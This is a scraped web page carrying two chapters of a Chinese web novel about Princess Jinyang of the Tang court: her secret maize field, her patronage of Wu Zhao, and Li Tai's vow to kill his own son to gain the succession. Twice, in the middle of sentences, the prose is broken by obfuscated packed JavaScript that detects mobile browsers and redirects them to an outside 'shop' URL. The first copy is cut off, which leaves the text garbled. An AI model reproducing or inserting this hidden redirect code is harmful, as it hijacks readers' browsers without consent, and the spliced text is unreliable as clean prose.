《成为早逝的公主后》 25. 晋阳公主 暮春将尽,夏意已沿着渭水悄悄漫进长安城。 立政殿的花架上,去年移栽的忍冬已抽出翠绿的新藤缠绕出荫凉一片。 杨招娣坐在藤架下的石凳上,对着面前一小筐新摘的还带着田间潮气的野苋菜出神。 这是晨起刚从栖云庄快马送来的,是庄上妇人天还没大亮时采摘所得。嫩绿的菜叶间夹杂着一片宽大厚实、边缘已见细微锯齿的奇特绿叶,叶脉粗壮泛着健康的深绿色光泽。 杨招娣拈起那片包谷叶,在指尖轻轻转动,阳光透过叶背能看清那些坚韧的纤维。 犹豫了片刻,她还是将它小心地夹进一张新制的印着银线缠枝莲纹的洒金花筏中,提笔蘸墨沉吟半晌,只写了寥寥数字:“庄上野植叶阔如剑,阿姐近日得空否?可愿一观?” 杨招娣极少主动邀人去栖云庄,那里藏着她的秘密。 但武珝……自从灯会相见,她就准备送对方一场机缘,一场少走十来年弯路的机缘! 那片叶子是个试探,也是一个邀请。 回应来得很快,毕竟自从和杨招娣交好,长孙皇后一脉对武珝颇有照料,连带着京中贵妇也和善不少。 家中继兄再也没说赶她们母女四人出去的话,武珝看在眼里记在心上,一颗向往权势俯瞰众生的芽破土而出。 但到底不过十几岁的少女,杨招娣的纯粹和热情让她心中惭愧,她心中暗想若有朝一日梦想成真,她将护其一生。 不过两日,一辆没有任何家徽标识的青幔油壁小车在一个晴好的午后,悄无声息地停在了栖云庄简朴的侧门外。 车上下来一位身着浅碧色窄袖胡服、外罩月白半臂的少女正是武珝。 她今日装扮极为利落,发髻挽成简单的单螺,簪了一支素银簪,面上不施脂粉却更显眉眼清冽。 她有所猜测因此只带了一名年长沉稳的心腹婢女,提着个不大的藤编提篮。 田管事早已得了吩咐在门内静候。见礼后并不多言引着主仆二人穿过几进收拾得洁净却毫无奢华之气的院落。 越往里走人声越稀,只听远处溪流潺潺与近处竹叶的沙沙声。 一行人绕过一片开得正盛的木香花篱笆,眼前骤然开阔。 西面那片向阳的缓坡上新垦的田地,以截然不同的样貌闯入眼帘。 土地被修成一道道整齐高耸的垄背,沟渠深阔。而最令人瞩目的,是那一株株已长至人膝高、在春风中轻轻摇曳的植株。 它们并非关内常见的粟麦模样,茎秆粗壮挺直叶片宽大肥厚,绿得深沉而富有光泽,层层叠叠,在午后的阳光下,竟有几分玉树临风般的轩昂气度。 田间有两位头戴竹笠裤脚高绾的老农,正小心翼翼地俯身,用手指剔除着苗根旁的杂草,动作轻柔得像在伺候婴孩。 杨招娣和几位兄姐站在田垄的尽头,穿着一身半旧的丁香紫短襦和同样颜色的长裤,袖口和裤脚都沾着新鲜的泥点。 她没戴帷帽一张小脸晒得微红,鼻尖沁着细密的汗珠,正兴高采烈的和兄姐们说着什么。 几位公主王爷也都宠溺的看着她微笑着应和,武珝没有停顿从容的走了过去,她心里隐隐有个想法,这是一场晋阳公主专为她组的高端局。 她不能露怯,必须展现最好的自己。 几人听到脚步声看了过来,杨招娣眼中瞬间漾开明亮真切的笑意像两弯月牙。 “武姐姐!”她快步迎上来,很自然地伸手拉住武珝将她引到田边介绍给几位兄姐。 李承乾率先点了点头,紧接着太子妃苏氏拉起武珝的手,直夸对方钟灵秀丽。 一旁的长乐公主和城阳公主也都笑的和善。 连魏王李泰都和武珝说了几句话,更别提一向将杨招娣当做眼珠子的李治,温文尔雅和善的不得了。 武珝进退有度答问得体,丝毫没有羞怯谄媚之意,让几位天底下顶顶尊贵的人暗自点头。 武珝此刻也不平静。 她看着时不时闲谈两句的李承乾和李泰心中纳罕。 坊间传闻两位嫡皇子争斗厉害,万万没想到他俩能和平相处,足见晋阳公主之伟力。 一旁的杨招娣见差不多了便带着武珝向前走了几步:“你看它们长得可好?” 武珝任由她牵着,目光早已被眼前这片生机勃勃的绿色奇观牢牢攫住。 她蹲下身指尖抚过一片近处的叶片,触感坚韧,叶脉清晰有力。 “这便是信中所说的野植?”她抬起头看向杨招娣眼中是毫不掩饰的惊叹与探究“这长势这气象还有散发出的味道绝非凡品,公主阿妹从何处觅得这般奇物?” 杨招娣在她身边蹲下拔起一株刚冒头的灰灰菜,朗声道:“去岁夏日在我种的南瓜田边发现的,当时奇怪就留着它自由生长,给些水施点肥结了两根棒子,我瞧着籽粒饱满金黄从未见过,舍不得吃就留下了。 想着既能长出来不妨大片种植试试,万一有用我却弃置岂不是亏大发了,所以今春便在这僻静处试种看看。” 她语气平常,带着一丝孩童的玩闹。 杨招娣说的随意武珝却想的深切,若是换了别人早已将它当做杂草处置,哪会认真观察仔细留意。 就冲这点,晋阳公主不独得盛宠都说不过去。 她仔细端详那些植株沉吟道:“看这些叶脉走向与植株形态好像是很喜欢光照、需水却又畏涝的性子,阿妹起这高垄开这深沟便是为此?” “武姐姐一眼就看出来了!”杨招娣眼睛发亮,瞧瞧人家这业务素质,肯定是她给了那片叶子后武珝专门研究过。 “正是呢!几位老农起初还不解,后来见苗出得齐长得壮就信了。只是近日发现有些小虫,专爱啃嫩心让人发愁。”她指着几株叶心处细微的啃食痕迹眉毛皱了起来。 武珝凑近细看又起身沿着田垄走了几步,仔细观察植株间距与土壤情况:“我少时随母亲在并州,见那边农人用草木灰水喷洒叶面或是焚烧艾草除虫菊的干叶用烟驱虫,这两种方法都可以试一试。 还有这植株间距下次种植可以略微宽点,通风更畅或许也能减轻虫害。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381236|200189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她语气平和建议却具体务实,显然是真正留心过农事而非纸上谈兵。 杨招娣连连点头,立刻转身对不远处侍立的渥赭道:“告诉田管事,这两种方法可以一试。” 渥赭恭敬应下。 两人就这般蹲在田边聊着防虫、追肥和可能出现的夏日旱情;武珝引经据典不说空话,总能给出建议。 杨招娣心中对于她的评价又上了一个台阶,果然成大事者都不打没把握的仗,自身强走到哪里都能撕开一条活路。 旁边的长乐几人虽在临时支起的大帐下休憩,也时刻留意着杨招娣那边。 风将两人的对话传递过来,若说之前李治对武珝的印象是有文才有相貌,如今再多加了进退有礼心有沟壑。 一行人在庄子里把酒言欢颇有野趣,直到红日西垂才起驾回宫。 临走前,杨招娣又将庄子产的瓜果鲜蔬挨个送了一遍,还附赠了他们一个奶茶方子,回去了可以自制,口味自选方便好喝。 兄姐几个对于自家妹妹的手艺已有了解,当下开怀大笑,准备回去后就让厨房做出来尝尝。 马车驶离栖云庄,武珝靠在车壁上,看着手里已有风骨的飞白体花筏低头沉思。 晋阳公主对她的信任让她心潮难平,她隐约感到自己与这位小公主,与这座宫廷被一条无形的却坚韧的丝线悄然系在了一起。 几乎就在武珝的马车驶入应国公府侧门的同 时,两仪殿中刚理完朝政的李世民放下笔,端起杨侍中刚换的蒙顶茶浅啜了一口。 清澈的茶汤里,映出他幽深的眼眸。 他静静听着一旁杨侍中的汇报,儿女们齐聚栖云庄,兕子邀请了应国公继室所出的嫡女……众人相谈甚欢,包括老大和老二也没有曾经那样剑拔弩张…… 诶…… 李世民长叹口气! 老大这是彻底放下了,老二……可能良心发现也可能觉得老大不再是对手才能以平常心去对待。 还有兕子种的那种子没想到长势如此之好,等收获时他也挑个时间去看看;最近有人告尉迟恭谋反,加上和高丽摩擦升级,他已经好久没和爱女出游了。 “着人留意着,”他放下茶盏对心腹内侍吩咐道“武家小娘子出入宫闱不必深究,只需确保无人敢扰了兕子的清静或借此生事。其余,不必报朕。” “是。”内侍躬身应下,悄然退去。 另一边杨招娣给武珝递了梯子,就没在关注。 她只负责提供平台,怎么爬端看对方能耐了,她不会多加干涉;毕竟女皇也是需要历练才能成就己身,若因为她的干预,直接把对方御极蝴蝶掉了,那才是得不偿失。 日子就在美食、美景和有趣的学业中一天天过去了,除了每天雷打不动到两仪殿刷存在感,杨招娣过得滋润极了。 但这份惬意在一个风和日丽的早晨受到了些许波动。 估计是因为李世民终于查清了尉迟恭的谋反之事近来朝堂内外一片安详,所以李承乾瞅准时机再一次提出请辞太子之位。 26. 晋阳公主 这一次他的言辞枯槁平静,好像只是陈述一件与己无关的事实,全是些“德不配位疾久难瘳,于国无益于民无补,伏请陛下准儿臣辞退,以全残躯以安社稷……”等老生常谈的话语。 李世民没有如上次般沉默,也未让群臣当场议论;他只是将那份奏章缓缓合上,置于御案一角,目光扫过丹墀下神色各异的众人,平静的说:“太子所请关乎国本,散朝后长孙无忌、房玄龄、褚遂良、李世勣……尔等留下,移驾两仪殿后阁议事。” 被点名的皆是朝中最核心的肱骨重臣,众人精神一振,朝野暗流骤然加速,陛下这次要下定决心了! 后阁的议事持续了近两个时辰,门窗紧闭无人知晓内里详情。 诸位重臣出来时个个面色凝重讳莫如深,陛下仍未当场决断,也未提重立太子之事;但正是这份犹豫让众人知道此次断无更改,新旧一念之间。 “兕子,你说阿耶到底该怎么做才好呢!哎……” 杨招娣听着长叹声看向夜幕下和她一起仰望星空的李世民。 对方的鬓角银丝斑驳,脸上皱纹毕现,眉眼间全是疲惫。 说实话,最开始她只把李世民当成需要攻略的NPC,但一年多的相处,让她看懂了眼前这个壮汉的铁血柔情,也深刻感受到他的不易。 “阿耶,循着你的心去做……我相信阿耶知道该如何处理,为天下为百姓为儿女……阿耶会找到那条最适合的路……” “兕子,若你是个男孩该多好啊!就算你是女孩……” “阿耶”杨招娣出声打断道:“没有如果!现在的我有您和兄姐宠爱,有贤能之名,有健康的身体、有数不尽的金银珠宝……普天之下我想要什么你们都会尽力为我寻来……何况最重要的一点是我志不在此。” 杨招娣扯扯李世民的衣袖,轻轻晃动着撅起嘴巴继续道:“兕子只想当阿耶的小犀牛、兄姐的好妹妹、明栾的棒姐姐。兕子想睡到日上三竿,不想被众人围观,也不想那么辛苦……” “你个小皮猴,你可知那是什么!” “是权势、是富贵、是说一不二、是唯我独尊……但它也是束缚,若一个人约束不了自己,那也是灾难的开始!” 李世民听后久久不语,他的兕子啊! “罢了罢了,今日之话,出我口入你耳。” “阿耶,我晓得!” 几乎是同时魏王府的书房内,李泰挥退了所有幕僚独自对着一局残棋,指间一枚白玉棋子被摩挲得温润生热。 他面沉如水,眼中再无平日惯有的从容笑意,只有一片灼人的急迫与算计。 “不能再等了。”他有种感觉成败在此一举,他低声呓语“第一次是试探,第二次便是决绝。大哥是铁了心要退,父皇此次召集心腹分明已动了真格。储位空悬岂能长久?此刻若不争,更待何时?迟则……恐生他变。” 他想起了李治那张沉默的脸,想起父皇偶尔掠过晋王时那难以捉摸的眼神,心中那根弦绷到了极致。 他必须让父皇立刻、明确地将目光锁定在自己身上,绝不能给任何潜在的“变数”以喘息之机。 第二日李泰一大早就入宫请安。 在甘露殿侧的书斋内他摒退左右,未及多言已是泪如雨下。 “父皇!父皇啊!”他哭声悲切,涕泪交加,全然不顾平日温文形象,“儿臣知父皇这些时日,为太子之事心力交瘁,儿臣……儿臣心如刀绞,恨不能以身代之!” 李世民看着扑跪在地的李泰神色疲倦,挥了挥手:“青雀,起来说话。” 李泰却不起身反而以头抢地哽咽道:“儿臣不敢起身!儿臣今日前来非为已身,实是为父皇、为这大唐江山! 储位空悬国本动摇,非社稷之福!太子兄长既有疾难愈志不在此,父皇当早定大计以安天下之心!” 李世民的眼神陡然锐利起来。 李泰浑然不觉,他抬起泪眼脸上是混合着痛苦与决绝的赤诚,一字一句如同泣血:“父皇!若……若蒙父皇不弃,属意儿臣……儿臣在此对天发誓!对列祖列宗发誓!” 他重重叩首额前顷刻见红,神色带着一往无前的决心,李世民背后汗发竖起,只听见往日里温和良善得他欢心偏爱的嫡次子说:“待儿臣百年之后,必杀己子,传位于晋王弟治!以此明儿臣绝无贪恋大宝、兄弟阋墙之心!唯愿父皇安康,兄弟和睦,大唐江山永固!父皇——!” “杀子让弟”! 李世民一阵眩晕! 这四个字,如同惊雷,炸响在寂静的书斋内。 李世民原本靠在椅背上的身躯,猛地坐直了,瞳孔骤缩死死地盯着跪在下方额染鲜血、神情激动近乎癫狂的次子。 一股寒意,毫无预兆地,顺着脊椎骨猛地窜上了天灵盖。 为了取信为了表明自己绝无传子私心,唯有忠君孝悌爱护兄弟之公心,青雀竟能发出如此……惨烈决绝的誓言? 这需要何等“无私”的心胸! 抑或是…… 何等冷酷的算计? 李世民阵阵发寒,玄武门之变是他一生的痛也是他一辈子的污点。 本来他正准备让褚遂良将这桩血腥悖伦之事稍加美化,没成想还没来的及动作,自己的好二儿就来了这么一出‘杀子让弟’之谈。 他仿佛透过李泰泪眼朦胧的赤诚,看到了那誓言背后深不见底的黑洞。 一个为了登上储位,可以毫不犹豫拿自己子嗣性命作赌注作筹码的儿子。 今日能“杀子让弟”,他日大权在握为了铲除一切潜在威胁,还有什么做不出来? 承乾…… 治儿…… 那些所有可能妨碍对方大业的人…… 李世民想到了秦二世而亡,更想到了秦二世所做的一切! 他的兕子! 他的逆鳞! 李世民想到这里感觉自己一生都没有此刻这么清醒。 “你……你先退下。” 他的声音有些沙哑带着极力压抑的震动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381237|200189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“此事……容朕再想想。” 李泰惯会察言观色,见父皇神色震动而非感动心中一惊,但话已出口无法收回,只得再拜泣道:“儿臣一片赤心苍天可鉴!望父皇保重龙体,早做决断!”这才一步三回头地退了出去。 李泰一走,书斋内死一般的寂静。李世民独坐良久,指尖冰凉如同寒冬腊月的厚冰。 他忽然想听一听旁人的看法,一个足够清醒、足够耿直、也足够旁观者清的看法。 “传,褚遂良。” 新任侍中褚遂良应召而来,李世民没有让他坐也没有迂回,直接以平淡到近乎诡异的语气,将方才魏王“杀子让弟”的誓言复述了一遍,然后问:“褚卿,你以为魏王此言如何?” 褚遂良垂手而立,听完心中震动脸上并无太多惊讶之色,只是眉头深深锁起。 他沉默了片刻似乎在斟酌恰当的言辞,最终都通通放弃;只见他撩袍跪倒以头触地,声音不大却字字如铁锥砸在光滑的金砖地上。 “陛下,臣斗胆。魏王殿下此誓惊世骇俗,其情或可悯。然而……”他抬起头,目光清澈锐利直刺御座,“此乃绝不可信之言!” “何以见得?”李世民的声音更沉。 “陛下明鉴,”褚遂良毫无惧色一字一顿道“魏王殿下今日能作此誓是因陛下在,储位未定他有所求,故可抛却骨肉以表诚心。然而若陛下真立其为储,待陛下千秋万岁之后……” 他顿住,目光如炬点明最大的可能:“那时候魏王已登大宝,手握生杀予夺之权。他是否真会践诺杀子?其子又是否甘愿引颈被杀?朝中依附魏王的势力会允许此事发生吗?东宫旧臣、晋王殿下包括众皇子皇女的安危,又当如何?” 褚遂良深吸一口气,声音压得更低却更惊心:“陛下,非是臣以最坏之心揣度皇子。实乃史册昭昭殷鉴不远! 至高权位之前,父子尚且相疑,兄弟尚且相残,何况一个年幼的皇子与一位曾拥有贤名、对皇位有过威胁的皇叔? 届时,为巩固皇权,以绝后患,魏王必定先除去太子与晋王! 此非魏王殿下本性善恶如何,实在是形势所迫,不得不为!” “陛下今日在可制衡周全,然而陛下百年之后何人可制?魏王此誓,非但不能保全兄弟,反是催命之符啊!陛下!” 每一个字都像一把冰冷的匕首,将李世民心中最后一丝因父子之情而产生的侥幸与温情,剥离得干干净净。 褚遂良没有攻击李泰的个人品德,他只是冷静且残酷地揭示了权力逻辑运行的必然结果! 在那个位置上有些事无关个人意愿,只关乎生存与稳固。 李世民的后背瞬间被一层粘腻的冷汗浸透,他仿佛看到了自己闭眼之后,血淋淋的兄弟阋墙骨肉相残,帝国陷入动荡与血腥的情形。 承乾心志已颓不堪其任。 青雀……才华虽佳,野心太大,身边聚拢之势已成,若立他,自己去后血脉十不存一。 那么,只剩下……